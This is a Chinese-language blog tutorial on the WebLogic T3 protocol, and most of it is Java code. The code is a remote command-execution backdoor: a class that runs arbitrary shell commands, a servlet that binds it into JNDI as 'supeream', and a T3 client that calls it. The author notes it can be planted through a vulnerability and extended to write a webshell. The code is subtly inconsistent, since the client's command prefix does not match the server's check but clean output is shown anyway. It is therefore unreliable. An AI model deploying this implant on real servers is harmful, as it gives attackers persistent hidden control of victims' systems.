t3协议研究

纵观weblogic的各大严重漏洞,一半以上皆与t3协议有关。作为java安全的初学者,不免好奇什么是t3协议,t3协议能干啥?这周我们来揭开t3协议的神秘面纱,其实目前网上针对t3协议的资料是寥寥无几的,我在阅读了oracle官方晦涩难懂的文档中,已经前辈exp反编译过来的代码中,依稀能摸清t3协议的基本样貌。

一、一些疑问

1.1 什么是t3协议?

Weblogic对RMI规范的实现使用一个称为T3的专有协议。您可以将T3(和安全的T3S)视为一个层来公开/允许客户机调用JNDI。

1.2 t3协议能干啥?

WebLogic服务器中的RMI通信使用T3协议在WebLogic Server和其他Java程序(包括客户端和其他WebLogic服务器实例)之间传输数据。

例如,如果Java客户端访问WebLogic Server上的企业Bean和JDBC连接池,则在WebLogic Server JVM和客户端JVM之间建立单个网络连接。EJB和JDBC服务可以像只使用专用网络连接一样写入,因为T3协议无形地在单个连接上复用数据包。

当然我们更关心它在信息安全方面能干什么,下面我们会通过代码来展示代码如何如何利用t3协议让服务器执行命令并回显!更多的使用可以参考jndiat这个安全项目的代码,看看t3协议的相关安全!

1.3 t3的端口

t3协议与weblogic的web服务使用同一个端口(默认7001),当你以http协议请求weblogic会使用http协议处理,你以t3协议请求就以t3协议处理!

二、案例:使用t3协议执行命令回显

2.1 服务端

服务端依赖weblogic.jar(weblogic.cluster.singleton.ClusterMasterRemote)

首先编写一个用于执行命令的类

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;
import weblogic.cluster.singleton.ClusterMasterRemote;

public class RemoteImpl implements ClusterMasterRemote {
    public void setServerLocation(String cmd, String args) throws RemoteException {
    }

    public String getServerLocation(String cmd) throws RemoteException {
        try {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            List<String> cmds = new ArrayList();
            if (cmd.startsWith("$NO$")) {
                cmds.add(cmd.substring(4));
            } else if (isLinux) {
                cmds.add("/bin/bash");
                cmds.add("-c");
                cmds.add(cmd);
            } else {
                cmds.add("cmd.exe");
                cmds.add("/c");
                cmds.add(cmd);
            }
            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
            processBuilder.redirectErrorStream(true);
            BufferedReader br = new BufferedReader(new InputStreamReader(processBuilder.start().getInputStream()));
            StringBuffer sb = new StringBuffer();
            while (true) {
                String line = br.readLine();
                if (line == null) {
                    return sb.toString();
                }
                sb.append(line).append("\n");
            }
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

然后在编写一个servlet执行绑定RemoteImpl类,以后可以利用漏洞执行代码来完成这些操作。

import java.io.IOException;
import java.io.PrintWriter;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.annotation.WebServlet;

@WebServlet("/t3servlet")
public class T3Servlet extends javax.servlet.http.HttpServlet {
    protected void doPost(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException {
        doGet(request, response);
    }

    protected void doGet(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException {
        String action = request.getParameter("action");

        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();

        try {
            RemoteImpl remote = new RemoteImpl();
            Context ctx = new InitialContext();

            if(action.equals("install")){
                ctx.rebind("supeream", remote);
                out.println("安装成功");
            }else if(action.equalsIgnoreCase("uninstall")){
                ctx.unbind("supeream");
                out.println("卸载成功");
            }
        } catch (NamingException e) {
            e.printStackTrace();
            out.println("操作出现异常");
        }

    }
}

2.2 客户端

客户端依赖wlfullclient.jar(weblogic.cluster.singleton.ClusterMasterRemote)

import weblogic.cluster.singleton.ClusterMasterRemote;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class T3Client {
    public static void main(String[] args) {
        String url = "t3://127.0.0.1:7001";
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
        env.put(Context.PROVIDER_URL, url);
        Context ctx = null;
        try {
            ctx = new InitialContext(env);
            System.out.println("[+] 连接成功");
        }catch (Exception e){
            System.out.println("[-] 连接失败");
            System.exit(0);
        }

        String cmd = "whoami";

        try {
            ClusterMasterRemote remoteCode = (ClusterMasterRemote) ctx.lookup("supeream");
            System.out.println("[+] rmi已经安装");
            String result = remoteCode.getServerLocation("showmecode"+cmd);
            System.out.println(result);
        } catch (Exception e) {
            if (e.getMessage() !=null && e.getMessage().contains("supeream")) {
                System.out.println("[-] rmi实例不存在");
            } else {
                e.printStackTrace();
                System.exit(0);
            }
        }
    }
}

2.3 测试结果

运行服务端,然后浏览器访问改http://localhost:7001/t3servlet?action=install,最后运行服务端

[+] 连接成功
[+] rmi已经安装
c0ny1

再访问http://localhost:7001/t3servlet?action=uninstall

[+] 连接成功
[-] rmi实例不存在

既然可以执行命令,自然可以在服务端的类写一个函数实现写shell。

三、参考文章

后续拓展

  • 研究t3获取jdbc池对象
  • 阅读jndiat源码,了解该工具是如何检查t3协议的安全性?

  • jboss使用的是jnp协议应该相当于weblogic的t3协议都是用来进行进行rmi通信的

  • 使用t3协议识别weblogic版本【已完成】

results matching ""

    No results matching ""